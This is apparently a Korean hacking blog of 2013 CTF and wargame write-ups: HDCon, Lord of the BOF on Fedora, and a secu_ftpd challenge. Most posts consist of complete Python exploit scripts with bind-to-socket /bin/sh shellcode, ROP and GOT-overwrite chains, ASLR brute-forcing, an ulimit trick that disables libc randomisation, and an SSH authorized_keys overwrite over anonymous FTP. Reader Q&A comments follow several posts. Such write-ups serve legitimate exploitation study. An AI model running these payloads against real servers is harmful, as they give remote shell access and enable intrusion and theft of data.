luckyzzang



처음에 문제를 보자마자, 뭐이리 쉽지 했는데, 그냥 그냥 쉽지는 않았다.

버퍼를 왕창 주길래 NX가 없구나 했는데, 그건 아니었던것 같아서 바로 ROP로 전환했다.


근데 문제는, system의 주소값을 모른다는것(offset을 모르는것)과 ROP가 가능한 크기가 유동적이라는것이다.

ROP가 가능한 크기가 랜덤이기 때문에, 시스템 주소값을 맞췄더라도 결과가 안나올수도 있고,

페이로드의 크기가 커지면 커질수록, 성공률도 줄어든다.

그러므로, 페이로드를 작게 만드는게 중요했으나..... 그냥, 계속 반복해서 돌리기로 했다.


system의 주소값을 모르는건 크게 문제가 되지 않았다. 어짜피 fork로 되어있으므로, system 주소값은 변하지 않는다.

그러므로, puts라던지, recv라던지, 이미 있는 주소값을 구해오고 대략적인 offset을 측정한후, 그 주변을 브루트포싱한다.


아래의 익스플로잇에는 주석이 좀 많이 쳐져 있는데, 공격의 순서는

1. puts의 주소를 구한다.

2. 브루트포스를 한다.

3. 주소값을 구한후, 주소값을 고정한후 반복해서 커맨드 명령문을 보낸다.


from socket import * from struct import * import time   #cmd = "id>&4\x00" cmd = "cat key>&4\x00"   send_plt = pack('<I',0x8048610) recv_plt = pack('<I',0x80485f0) ppppr = pack('<I',0x80489cc) puts_plt = pack('<I',0x8048550) puts_got = pack('<I',0x804a018) bss = pack('<I',0x0804a154)   fd = pack('<I',4)   for i in range(0,0x3000,1): s = socket(AF_INET,SOCK_STREAM) s.connect(('118.107.172.214',7777))   payload = "" payload += "A"*1036 """ payload += send_plt # send address of puts payload += ppppr payload += fd payload += puts_got payload += pack('<I',4) payload += "\x00"*4 """   payload += recv_plt # overwirte puts to system address payload += ppppr payload += fd payload += puts_got payload += pack('<I',4) payload += "\x00"*4   payload += recv_plt # puts command payload += ppppr payload += fd payload += bss payload += pack('<I',len(cmd)) payload += "\x00"*4   payload += puts_plt # system call payload += "AAAA" payload += bss   #print "payload size: "+hex(len(payload)) #print s.recv(1024) #go = raw_input("go?") time.sleep(0.1) s.recv(1024) s.send(payload) time.sleep(0.1) """ get = s.recv(4)         #print get print len(get) puts_addr = unpack('<I',get)[0] print "puts address: "+hex(puts_addr) """ puts_addr = 0xb75b3740   i = 305 system_addr = hex(puts_addr + (-0x27000-i*0x10)) print "i: "+hex(i) print "system address: "+system_addr system_addr = pack('<I',puts_addr +(-0x27000-i*0x10)) s.send(system_addr) # system addr   s.send(cmd) print s.recv(1024) print s.recv(1024) """ try: s.send(cmd) get= s.recv(1024) if get.find('id') > 0: print "Find: "+str(i) print get break except: s.close() continue """ s.close() break


posted by tunz
  • 2013.06.14 20:19

    비밀댓글입니다

    • tunz 2013.06.14 22:30 신고

      305*0x10씩 움직이는게 아니고,
      0x10씩 움직였어요.
      보니까 항상 맨 뒷자리는 0이더라구요. 그래서 0x10칸씩 움직였고,
      그렇게 움직이다가, 305*0x10칸을 움직였을때 반응을 하길래, 나중에 그 값으로 고정한것입니다.

  • 궁금해요~ 2013.06.16 11:57

    그렇군요. 감사합니다~
    속도가 생각보다 느려서 오래걸리던데.
    세션을 여러개로 나누셨죠?

    • tunz 2013.06.17 10:33 신고

      제가할때는 꽤 괜찮아서 세션 하나로도 괜찮았어요 ㅎㅎ
      평소에는 여러개 켜두고 하는편입니다

  • asdf 2013.11.30 02:04

    안녕하세요~ 혹시 hdcon level5 문제 파일좀 구할수 있을까요?

from struct import *
from socket import *
import time
 
fd=4
shellcode = "\x31\xc9\xb1\x02\x31\xdb\xb3\x41\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf7" # dup2
shellcode = shellcode.replace("\x41", chr(fd))
# bin/sh
shellcode += "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3"+\
"\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
 
s = socket(AF_INET, SOCK_STREAM)
s.connect(('localhost',20001))
#raw_input("go? ")
buf = ""
buf += "GET "
buf += "\x90"*139
buf += pack('<I',0x8049f4f) # jmp esp
buf += "\x90" *100
buf += shellcode
buf += " HTTP/1.1"
s.send(buf)
 
s.send("id\n")
get = s.recv(1024)
print get
s.close()


posted by tunz
from struct import *
from socket import *
import time
 
fd=4
shellcode = "\x31\xc9\xb1\x02\x31\xdb\xb3\x41\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf7" # dup2
shellcode = shellcode.replace("\x41", chr(fd))
# bin/sh
shellcode += "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3"+\
"\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
 
s = socket(AF_INET, SOCK_STREAM)
s.connect(('localhost',20000))
print s.recv(1024)
#raw_input("go? ")
buf = ""
buf += "GET "
buf += "\x90"*139
buf += "\x5c\xa1\xf8\xbf"
buf += "\x90" *100
buf += shellcode
buf += " HTTP/1.1"
s.send(buf)
 
s.send("id\n")
get = s.recv(1024)
print get
s.close()


posted by tunz
  • 마루 2014.01.29 07:54

    안녕하세요. 강좌 잘 보고있습니다.
    궁금한 부분이 있어서 질문 드립니다.
    쉘코드 부분에 아래 내용이 있던데요
    왜 아래처럼 문자를 바꾸는건가요?
    shellcode.replace("\x41", chr(fd))
    보시고 답변 좀 부탁 드릴게요.
    수고하세요

    • tunz 2014.01.29 14:27 신고

      쉘코드의 해당 위치에 원래 소켓의 fd가 들어가야 합니다.
      근데 이 소켓의 fd는 상황에 따라서 값이 달라질수 있기 때문에,
      그때그때 바꿔쓰기 위해서 그 자리에 0x41로 표시해놓고, 그걸 치환해서 사용하는것입니다.

  • 마루 2014.02.05 07:10

    감사합니다. 소켓에는 dup 이 있군요.
    자세한 설명 정말 감사합니다^^
    수고하세요.

0x080485e0 <main+80>:   mov    0x804985c,%eax
0x080485e5 <main+85>:   sub    $0x4,%esp
0x080485e8 <main+88>:   push   %eax
0x080485e9 <main+89>:   push   $0x400
0x080485ee <main+94>:   lea    0xfffffc00(%ebp),%eax
0x080485f4 <main+100>:  push   %eax
0x080485f5 <main+101>:  call   0x80483ec

...

(gdb) x/x 0x804985c
0x804985c <stdin@@GLIBC_2.0>:   0x00236740
(gdb) x/10x 0x00236740
0x236740 <_IO_2_1_stdin_>:      0xfbad2098      0xb7fe1000      0xb7fe1000      0xb7fe1000
0x236750 <_IO_2_1_stdin_+16>:   0xb7fe1000      0xb7fe1000      0xb7fe1000      0xb7fe1000
0x236760 <_IO_2_1_stdin_+32>:   0xb7fe2000      0x00000000
(gdb) x/10x 0xb7fe1000
0xb7fe1000:     0x61616161      0x61616161      0x61616161      0x61616161
0xb7fe1010:     0x61616161      0x61616161      0x61616161      0x61616161
0xb7fe1020:     0x61616161      0x61616161

...

(gdb) r < exploit
...
(gdb) x/10x 0x804985c
0x804985c <stdin@@GLIBC_2.0>:   0x008cb740      0x00000000      0x00000000      0x00000000
0x804986c:      0x00000000      0x00000000      0x00000000      0x00000000
0x804987c:      0x00000000      0x00000000
(gdb) x/4x 0x008cb740
0x8cb740 <_IO_2_1_stdin_>:      0xfbad2098      0xb7f45000      0xb7f45000      0xb7f45000

...

(gdb) r < exploit
...
(gdb) x/4x 0x008cb740
0x8cb740 <_IO_2_1_stdin_>:      0xfbad2098      0xb7ff5000      0xb7ff5000      0xb7ff5000

...

(gdb) r < exploit
(gdb) x/4x 0x008cb740
0x8cb740 <_IO_2_1_stdin_>:      0xfbad2098      0xb7fba000      0xb7fba000      0xb7fba000

stdin 버퍼의 주소값이 있는 곳이 0x008cb744 또는, 0x00236744 일 확률이 높다.

버퍼의 주소또한,

0xb7f??000 으로 두자리밖에 안바뀐다, (대충 300번정도 돌리면 한번은 걸린다는소리)

이 특징을 이용해서, fake_ebp를 시도한다.

from struct import *
from socket import *
import time
 
leave_ret = pack('<I',0x0804858e)
fake_ebp = 0xb7ff5000+272
 
i=0
while True:
        print i
        i=i+1
        buf = ""
        buf+="a"*260
        buf+=pack('<I',fake_ebp)
        buf+=leave_ret
        buf+=pack('<I',0x31337)
        buf+=pack('<I',fake_ebp)         # fake_ebp
        buf+=pack('<I',0x832abc)         # 1 execve("/bin/sh",0)
        buf+="AAAA"                      # 2
        buf+=pack('<I',0x8bd987)         # 3 &"/bin/sh"
        buf+=pack('<I',fake_ebp+4*5)     # 4
        buf+=pack('<I',fake_ebp+4*6)     # 5
        buf+="\x00\x00\x00\x00"          # 6
        s = socket(AF_INET, SOCK_STREAM)
        s.connect(('localhost',7777))
        s.recv(1024)
        s.send(buf)
        time.sleep(0.1)
        try:
                for j in range(0,10):
                        s.send("my-pass\n")
        except:
                s.close()
                continue
        try:
                get = s.recv(1024)
                print get
                s.close()
                break
        except:
                print "except"
                s.close()
                continue
        s.close()

하….. 이게 맞았는지 틀렸는지 확실하지 않으니까, 틀렸다는걸 알아채는데 좀 오래걸린다.

그리고, send(“my-pass\n”) 를 두번이상 보내야한다.. 아마 시간차때문인듯 하다.

$ python exploit.py
...
except
159
euid = 502
let me ride

(근데, execve 대신 system함수를 사용하면, system함수 내부에서 __i686.get_pc_thunk.bx를 call할때 에러가 난다. 이유는 모르겠다…)

posted by tunz
  • 마루 2013.12.13 15:08

    안녕하세요. 궁금한 부분이 있어서 질문 드립니다.
    execve 인자 부분인데요.
    buf+=pack('<I',fake_ebp+4*5) # 4
    buf+=pack('<I',fake_ebp+4*6) # 5
    이 두부분 의미를 모르겠네요.
    좀 부탁드립니다. 수고하세요

    • tunz 2013.12.13 15:45 신고

      fake_ebp+4*6이 NULL을 가리키고 있는 포인터고, fake_ebp+4*5이 그 포인터의 주소입니다.

    • 마루 2013.12.13 16:24

      아 뒤에 있는 null을 가리키는군요.
      오 정말 감사합니다 ^^

  • ksg97031 2014.03.30 12:42

    execve 의 첫번째인자는 포인터의 주소값을 받나여 ??

    • tunz 2014.03.30 20:27 신고

      문자열을 넘길때는 항상 문자열의 주소값을 넘깁니다.

local환경에서 BOF 공격을 할때, 루트권한 없이도 libc의 주소 randomization을 해제하는 트릭이 있다.


$ ulimit -s unlimited


를 이용하면 된다.

(단, 32비트 리눅스에서만 가능하다고 한다.)



$ ldd a

linux-gate.so.1 =>  (0xb7768000)

libc.so.6 => /lib/tls/i686/cmov/libc.so.6 (0xb75fb000)

/lib/ld-linux.so.2 (0xb7769000)

$ ldd a

        linux-gate.so.1 =>  (0xb772f000)

libc.so.6 => /lib/tls/i686/cmov/libc.so.6 (0xb75c2000)

/lib/ld-linux.so.2 (0xb7730000)

$ ulimit -s unlimited

$ ldd a

linux-gate.so.1 =>  (0x4001d000)

libc.so.6 => /lib/tls/i686/cmov/libc.so.6 (0x40032000)

/lib/ld-linux.so.2 (0x40000000)

$ ldd a

linux-gate.so.1 =>  (0x4001d000)

libc.so.6 => /lib/tls/i686/cmov/libc.so.6 (0x40032000)

/lib/ld-linux.so.2 (0x40000000)




posted by tunz

공격 순서는, ssh key 덮어씌우기 -> 버퍼오버플로우 이다.


로컬에서만 접속할수 있는 데몬이기때문에, 로컬의 쉘이 필요하다.

로컬 쉘을 얻을수 있는 방법으로는, ssh key를 서버에 올려놓으면, 비밀번호 없이 접근할 수 있다.


$ ssh-keygen -t rsa

로, public key와 private key를 만든후, private key 는 ~/.ssh/id_rsa 로 옮겨놓고,

public_key는 이름을 authorized_keys로 바꾸고 ftp를 이용해 서버로 업로드한다.


그래서 ftp로 접속을 한다. (annonymous로 접속하면 된다.)

그리고, active 모드로 변경한다. (서버는 대부분의 포트가 막혀있기때문에, passive 모드가 안먹힌다.)

그리고, /home/secu_ftpd/authorized_keys 를 덮어 씌운다.

그 후에 곧바로 ssh secu_ftpd@서버주소 를 통해서 로그인한다.


그러면 첫번째 관문은 통과했다.


그리고 나서는 NX,ASLR이 꺼져있기때문에, 조금 분석후에 간단한 공격을 한다. (사실 엄청 간단하지는 않고, 좀 까다로웠다.)


from socket import *
import sys
import time
 
fd = 4
shellcode = "\x31\xc9\xb1\x02\x31\xdb\xb3\x41\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf7"
shellcode = shellcode.replace("\x41", chr(fd))
shellcode += "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3"+\
"\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
 
for i in range(0x00,0xff,10):
        print hex(i)
        payload = ""
        payload += "\x90"*24
        payload += shellcode
        payload += "\x90"*3
        payload += (chr(i)+"\xf2\xff\xbf")*15
        s=socket(AF_INET,SOCK_STREAM)
        s.connect(('localhost',3132))
        while ">" not in s.recv(1024): pass
        time.sleep(0.0001)
        s.send(payload)
        s.send('id\n')
        try:
                get = s.recv(1024)
        except:
                get = ""
                print "except"
                s.close()
                continue
        if get.find('id') is not -1:
                while True:
                        cmd = raw_input('$ ')
                        if cmd == 'exit':
                                s.close()
                                break
                        s.send(cmd+'\n')
                        result = s.recv(1024)
                        print result
s.close()


'Computer Security > CTF' 카테고리의 다른 글

[HDCon 2013] 1번 문제 write up  (6) 2013.06.08
[CodeGate 2013] Vuln 200, exploit  (0) 2013.06.04
[Secuinside 2013] 127.0.0.1, write up  (0) 2013.05.26
[Secuinside 2013] PE time  (0) 2013.05.26
[Secuinside 2013] Secure Web, write up  (8) 2013.05.26
[Secuinside 2013] banking, write up  (1) 2013.05.26
posted by tunz

파일디스크립터 문제이다.


쉘에서,


$ ls > file


으로 할때, file에 명령어의 결과가 저장된다는것은 다들 알것이다. 사실 이건


$ ls 1>file


을 생략한 버전이다.


1번은 stdout을 의미한다. (쉘 화면에 출력되는것)

그외에 0번은 stdin이고, 2번은 stderr 이다.


문제를 보면, 5글자까지 system으로 실행을 시켜준다.

하지만, fork로 되어있기때문에, 출력 결과값이 우리에게 돌아오지는 않는다.

우리의 소켓번호는 4번으로 일정하다. (fork이기 때문에)


그렇다면,


ls>&4


를 치게되면, 그 결과값을 4번 디스크립터인, 연결되어있는 소켓에 쏴준다.

그러면 그 결과가 클라이언트에게 날아가게 된다.


대충 느낌이 왔으니, 이제 쉘을 실행한다. 쉘은 원래 0번 디스크립트인 stdin을 이용해서 입력을 하지만, 여기서는 소켓으로 입력을 하고 싶은 상황이다.

그렇다면,


sh<&4


를 치게되면, 쉘을 실행하고, 그 입력값은 소켓을 통해 전달한다는 의미이다.

하지만, 끝이 아니다. 그 결과값은 아직도 stdin으로 출력이 되는 상황이기때문에, 명령어를 실행할때 뒤에 >&4 를 붙여줘야한다.

결국 공격방법은


sh<&4

ls>&4

cat key>&4

posted by tunz
  • pwn 2013.07.05 22:34

    4앞에 &가 붙는 이유가 뭐에요?
    0이랑 1 역시 fd인데 요놈앞에는 안붙고 왜 저놈 앞에는 붙는지.. ㅠㅠ

    • tunz 2013.07.07 12:16 신고

      1이 들어간 자리엔 fd만 들어갈수 있는 자리인데,
      위에서 4가 들어간 자리는 파일 또는 fd 입니다.
      그래서 그냥 >4 를 해버리면 4라는 파일이 만들어지면서 거기에 결과값이 들어갈거구요 아마도..
      그래서 file과 착각하는걸 방지하기위해 &를 붙여서 fd라는걸 표시해줍니다

/*
        The Lord of the BOF : The Fellowship of the BOF
        - cruel
        - Local BOF on Fedora Core 4
        - hint : no more fake ebp, RET sleding on random library
*/
 
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
 
int main(int argc, char *argv[])
{
    char buffer[256];
 
    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }
 
    strcpy(buffer, argv[1]);
    printf("%s\n", buffer);
}

random library이긴 하지만, 경우의수가 별로 없다. 그냥 주소 하나를 잡고 될때까지 하면 되므로 별로 신경 안써도 된다.

공격방법은 ret sleding을 이용한다.

ret주소(“\x51\x84\x04\x08”)와 execve의 주소(“\xbc\x2a\x83\x00”)를 알아내고, ret의 갯수를 하나씩 늘려가면서 시도해본다

계속 반복하다가, ret을 열두개 넣었을때 execve의 두번째 인자부터 0이다.

$ strace ./cruel `python -c 'print "A"*260+"\x51\x84\x04\x08"*12+"\xbc\x2a\x83\x00"'` >& result
$ xxd result | grep cve -A 4
...
0000640: 6563 7665 2822 85c0 7553 65a1 5422 2c20  ecve("..uSe.T",
0000650: 5b30 5d2c 205b 2f2a 2030 2076 6172 7320  [0], [/* 0 vars
0000660: 2a2f 5d29 2020 3d20 2d31 2045 4e4f 454e  */])  = -1 ENOEN
0000670: 5420 284e 6f20 7375 6368 2066 696c 6520  T (No such file
0000680: 6f72 2064 6972 6563 746f 7279 290a 2d2d  or directory).--

그러므로, 해당 파일이름을 만들어주고, 그 파일에서 쉘을 실행시킨다.

$ cat sh.c int main() {

setreuid(geteuid(), geteuid()); system("/bin/sh"); } $ gcc sh.c -o sh $ ln -s sh `perl -e 'print "\x85\xc0\x75\x53\x65\xa1\x54"'`

그리고나서, exploit

$ ./cruel `python -c 'print "A"*260+"\x51\x84\x04\x08"*12+"\xbc\x2a\x83\x00"'` AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQQQQQQQQQQQQ¼*ƒ sh-3.00$ my-pass euid = 501 come on, come over

(random library 이므로, 한번에 성공하지 못할수도 있다. 두세번 더 시도하면 성공한다.)

posted by tunz


/*
        The Lord of the BOF : The Fellowship of the BOF
        - dark_stone
        - Remote BOF on Fedora Core 3
        - hint : GOT overwriting again
        - port : TCP 8888
*/
 
#include <stdio.h>
 
// magic potion for you
void pop_pop_ret(void)
{
        asm("pop %eax");
        asm("pop %eax");
        asm("ret");
}
 
int main()
{
        char buffer[256];
        char saved_sfp[4];
        int length;
        char temp[1024];
 
        printf("dark_stone : how fresh meat you are!\n");
        printf("you : ");
        fflush(stdout);
        // give me a food
        fgets(temp, 1024, stdin);
 
        // for disturbance RET sleding
        length = strlen(temp);
 
        // save sfp
        memcpy(saved_sfp, buffer+264, 4);
 
        // overflow!!
        strcpy(buffer, temp);
 
        // restore sfp
        memcpy(buffer+264, saved_sfp, 4);
 
        // disturbance RET sleding
        memset(buffer+length, 0, (int)0xff000000 - (int)(buffer+length));
 
        // buffer cleaning
        memset(0xf6ffe000, 0, 0xf7000000-0xf6ffe000);
 
        printf("%s\n", buffer);
}

다른점은 remote 라는것밖에 다른게 없다.

슈퍼데몬이라서 공격방법은 똑같고, 소켓으로 보내는점만 다르다.

이전 단계의 exploit에서 주소들만 수정해주고, 소켓으로 보내면 된다.

import os
import struct
from socket import *
 
def L_E(number):
        return struct.pack('<I',number)
 
PPR = 0x80484f3 # pop-pop-ret
STRCPY = 0x8048438
MEMCPY = 0x8048418
MEMCPY_GOT = 0x8049850
BINSH = 0x8049878
str_c0 = 0x80484c8+8
str_07 = 0x8048178+4
str_75 = 0x80482b4
str_00 = 0x8048138
str_slash = 0x8048114
str_b = 0x8048114+3
str_i = 0x8048114+2
str_n = 0x8048114+10
str_s = 0x8048740+6
str_h = 0x80481b4+4
 
payload = 'A'*268
payload += L_E(STRCPY)
payload += L_E(PPR)
payload += L_E(MEMCPY_GOT)
payload += L_E(str_c0)
payload += L_E(STRCPY)
payload += L_E(PPR)
payload += L_E(MEMCPY_GOT+1)
payload += L_E(str_07)
payload += L_E(STRCPY)
payload += L_E(PPR)
payload += L_E(MEMCPY_GOT+2)
payload += L_E(str_75)
payload += L_E(STRCPY)
payload += L_E(PPR)
payload += L_E(MEMCPY_GOT+3)
payload += L_E(str_00)
payload += L_E(STRCPY)
payload += L_E(PPR)
payload += L_E(BINSH)
payload += L_E(str_slash)
payload += L_E(STRCPY)
payload += L_E(PPR)
payload += L_E(BINSH+1)
payload += L_E(str_b)
payload += L_E(STRCPY)
payload += L_E(PPR)
payload += L_E(BINSH+2)
payload += L_E(str_i)
payload += L_E(STRCPY)
payload += L_E(PPR)
payload += L_E(BINSH+3)
payload += L_E(str_n)
payload += L_E(STRCPY)
payload += L_E(PPR)
payload += L_E(BINSH+4)
payload += L_E(str_slash)
payload += L_E(STRCPY)
payload += L_E(PPR)
payload += L_E(BINSH+5)
payload += L_E(str_s)
payload += L_E(STRCPY)
payload += L_E(PPR)
payload += L_E(BINSH+6)
payload += L_E(str_h)
payload += L_E(STRCPY)
payload += L_E(PPR)
payload += L_E(BINSH+7)
payload += L_E(str_00)
payload += L_E(MEMCPY)
payload += "AAAA"
payload += L_E(BINSH)
 
s = socket(AF_INET, SOCK_STREAM)
s.connect(('localhost',8888))
s.send(payload+'\n')
print s.recv(1024)
while True:
        cmd = raw_input('$ ')
        if cmd == 'exit':
                s.close()
                break
        s.send(cmd+'\n')
        result = s.recv(1024)
        print result
s.close()
$ python exploit.py
dark_stone : how fresh meat you are!
you :
$ my-pass
euid = 505
let there be light


posted by tunz
  • 2013.10.12 21:34

    비밀댓글입니다

    • tunz 2013.10.13 10:23 신고

      어느 부분에서 그 에러가 나나요??
      지금 페도라를 다 지워서 확인을 못하겠네요

  • 2013.10.13 16:51

    비밀댓글입니다

    • tunz 2013.10.14 23:13 신고

      음.. 딱히 문제가 되는 부분은 없는거같은데
      strace나 gdb등으로 한번 확인해보세요


/*
        The Lord of the BOF : The Fellowship of the BOF
        - evil_wizard
        - Local BOF on Fedora Core 3
        - hint : GOT overwriting
*/
 
// magic potion for you
void pop_pop_ret(void)
{
        asm("pop %eax");
        asm("pop %eax");
        asm("ret");
}
 
int main(int argc, char *argv[])
{
        char buffer[256];
        char saved_sfp[4];
        int length;
 
        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }
 
        // for disturbance RET sleding
        length = strlen(argv[1]);
 
        // healing potion for you
        setreuid(geteuid(), geteuid());
        setregid(getegid(), getegid());
 
        // save sfp
        memcpy(saved_sfp, buffer+264, 4);
 
        // overflow!!
        strcpy(buffer, argv[1]);
 
        // restore sfp
        memcpy(buffer+264, saved_sfp, 4);
 
        // disturbance RET sleding
        memset(buffer+length, 0, (int)0xff000000 - (int)(buffer+length));
 
        printf("%s\n", buffer);
}


evil_wizard.c


이번엔 드디어 pop-pop-ret이 있다.


최근 컴파일러에는 pop-pop-ret이 꼭 있다고 한다.

시스템이 구버전이라, 이번 케이스에서는 pop-pop-ret을 강제로 넣어줬다.


hell_fire로 넘어가는 단계에서.. pop-pop-ret없이는 도저히 못하겠어서 그냥 다른 블로그를 좀 베꼈다...

원래 의도는 fgets를 이용해서 custom stack을 만드는게 아닐까 하는데,

자꾸 null이 들어가서 스택을 못만들겠다.. 무슨 방법이 있을텐데 여튼 모르겠어서 그단계는 스킵했다.


여튼 이번엔 fgets가 없는대신 strcpy와 pop-pop-ret이 주어졌다.


공격순서는

1. strcpy로 memcpy의 GOT를 system의 주소값으로 덮어쓴다.

2. strcpy로 bss영역에 "/bin/sh"를 써넣는다.

3. system("/bin/sh")를 실행시킨다.


pop-pop-ret의 주소 알아내기

$ objdump -d evil_wizard | grep pop -A 1
...
 804854f:       58                      pop    %eax
 8048550:       58                      pop    %eax
 8048551:       c3                      ret
...

memcpy got의 주소와 system의 주소 알아내기

$ objdump -h evil_wizard | grep got
 19 .got          00000004  08049868  08049868  00000868  2**2
 20 .got.plt      00000038  0804986c  0804986c  0000086c  2**2
$ gdb -q evil_wizard
(gdb) b *main+319
(gdb) r 1
(gdb) x/10x 0x804986c
0x804986c <_GLOBAL_OFFSET_TABLE_>:      0x080497a0      0x007194f8      0x0070e9e0      0x00783d70
0x804987c <_GLOBAL_OFFSET_TABLE_+16>:   0x007d98f0      0x00730d50      0x0075e660      0x007854c0
0x804988c <_GLOBAL_OFFSET_TABLE_+32>:   0x007d9860      0x0804845a
(gdb) print memcpy
$1 = {<text variable, no debug info>} 0x7854c0 <memcpy>
(gdb) x/x 0x8049888
0x8049888 <_GLOBAL_OFFSET_TABLE_+28>:   0x007854c0
(gdb) print system
$2 = {<text variable, no debug info>} 0x7507c0 <system>
(gdb) print strcpy
$2 = {<text variable, no debug info>} 0x783880 <strcpy>
(gdb) x/i 0x8048494
0x8048494 <_init+200>:  jmp    *0x80498a0
(gdb) x/x 0x80498a0
0x80498a0 <_GLOBAL_OFFSET_TABLE_+52>:   0x00783880

memcpy의 got 주소는 0x8049888, system의 주소는0x7507c0, strcpy의 주소는 0x8048494 이다.

또, /bin/sh를 넣기위한 공간을 구한다.

$ objdump -h evil_wizard | grep bss
 22 .bss          00000004  080498b0  080498b0  000008b0  2**2
$ gdb -q evil_wizard
(gdb) b *main
Breakpoint 1 at 0x8048554
(gdb) r 1
Starting program: /home/hell_fire/evil_wizard 1
(no debugging symbols found)...(no debugging symbols found)...
Breakpoint 1, 0x08048554 in main ()
(gdb) x/10x 0x080498b0
0x80498b0 <completed.1>:        0x00000000      0x00000000      0x00000000     0x00000000
0x80498c0:      0x00000000      0x00000000      0x00000000      0x00000000
0x80498d0:      0x00000000      0x00000000

/bin/sh은 0x80498c0 정도에 넣도록 하겠다.

그럼 이제, strcpy를 통해 넣어야하니, 필요한 글자들의 위치를 찾아낸다.

찾아내야할 문자들은, \x00,\x75,\x07,\xc0,/,b,i,n,s,h

$ objdump -s evil_wizard | grep 00
...
 8048148 03000000 0f000000 0d000000 07000000  ................
...
$ objdump -s evil_wizard | grep 75
...
80486f4 0000005b 81c37511 00008d83 20ffffff  ...[..u..... ...
...
$ objdump -s evil_wizard | grep 07
...
8048148 03000000 0f000000 0d000000 07000000  ................
...
$ objdump -s evil_wizard | grep c0
...
8048524 ec08a19c 97040885 c07419b8 00000000  .........t......
...
$ objdump -s evil_wizard | grep /
 8048114 2f6c6962 2f6c642d 6c696e75 782e736f  /lib/ld-linux.so
...
$ objdump -s evil_wizard | grep h
...
 804836c 68980408 060d0000                    h.......
...

전부 알아냈으니, 이제 exploit

import os
import struct
 
def L_E(number):
        return struct.pack('<I',number)
 
PPR = 0x804854f # pop-pop-ret
STRCPY = 0x8048494
MEMCPY = 0x8048434
MEMCPY_GOT = 0x8049888
BINSH = 0x80498C0
 
payload = 'A'*268
payload += L_E(STRCPY)
payload += L_E(PPR)
payload += L_E(MEMCPY_GOT)
payload += L_E(0x8048524+8) # c0
payload += L_E(STRCPY)
payload += L_E(PPR)
payload += L_E(MEMCPY_GOT+1)
payload += L_E(0x8048148+12) # 07
payload += L_E(STRCPY)
payload += L_E(PPR)
payload += L_E(MEMCPY_GOT+2)
payload += L_E(0x80486f4+6) # 75
payload += L_E(STRCPY)
payload += L_E(PPR)
payload += L_E(MEMCPY_GOT+3)
payload += L_E(0x8048148+1) # 00
payload += L_E(STRCPY)
payload += L_E(PPR)
payload += L_E(BINSH)
payload += L_E(0x8048114) # /
payload += L_E(STRCPY)
payload += L_E(PPR)
payload += L_E(BINSH+1)
payload += L_E(0x8048114+3) # b
payload += L_E(STRCPY)
payload += L_E(PPR)
payload += L_E(BINSH+2)
payload += L_E(0x8048114+2) # i
payload += L_E(STRCPY)
payload += L_E(PPR)
payload += L_E(BINSH+3)
payload += L_E(0x8048114+10) # n
payload += L_E(STRCPY)
payload += L_E(PPR)
payload += L_E(BINSH+4)
payload += L_E(0x8048114) # /
payload += L_E(STRCPY)
payload += L_E(PPR)
payload += L_E(BINSH+5)
#payload += L_E(0x8048114+14) # s
payload += L_E(0x8048780+5) # s
payload += L_E(STRCPY)
payload += L_E(PPR)
payload += L_E(BINSH+6)
payload += L_E(0x804836c) # h
payload += L_E(STRCPY)
payload += L_E(PPR)
payload += L_E(BINSH+7)
payload += L_E(0x8048148+1) # 00
payload += L_E(MEMCPY)
payload += "AAAA"
payload += L_E(BINSH)
 
os.system('./evil_wizard '+payload)
$ python exploit.py
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAÈñ÷þ”Oˆ,”O‰”OŠú”O‹”O”O”O”O”O”OÅ…”OÆl”OÇ4AAAAÀ˜
sh-3.00$ my-pass
euid = 504
get down like that

posted by tunz
  • levs 2013.09.28 01:24

    친절한 답변 감사합니다. 하나만 질문 더하겠습니다.
    그 strcpy로 왜 memory got에다가 한바이트 씩 주소를 복사하나요?
    그냥 통채로 주소 복사해버리면 안되나요?

    • tunz 2013.09.30 22:45 신고

      주소가 있다면 통째로 가져오겠지만, 없어서 부분부분 가져왔었습니다

  • levs 2013.09.30 00:45

    커리큘럼에 관해서도 질문하나 드리고 싶은데 커널공부는 언제 공부해야 적당할까요

    • tunz 2013.09.30 22:53 신고

      커널공부 저는 아직 해본적 없긴 한데, 언제든지 필요하다고 느끼시면 바로바로 하시는게 좋다고 생각합니다 ㅋㅋ
      해킹이 워낙 전범위를 알고있어야하다보니까, 딱히 공부의 시기같은건 상관 없는것 같아요.

  • aex 2013.10.19 21:36

    왜 bss영역에다 복사해주나요?

    • tunz 2013.10.20 03:50 신고

      address가 고정되어있고, read와 write가 가능한 공간중 적절한곳을 그냥 고른것입니다.

  • 마루 2013.12.05 17:25

    궁금한 부분이 있는데요
    마지막 공격시에
    MEMCPY = 0x8048434 이렇게 된 주소는 memcpy 원래주소 0x7854c0가 되야 되는거 아닌가요

    • tunz 2013.12.05 22:52 신고

      원래 주소는 ASLR때문에 항상 바뀌기때문에 사용할수 없구요,
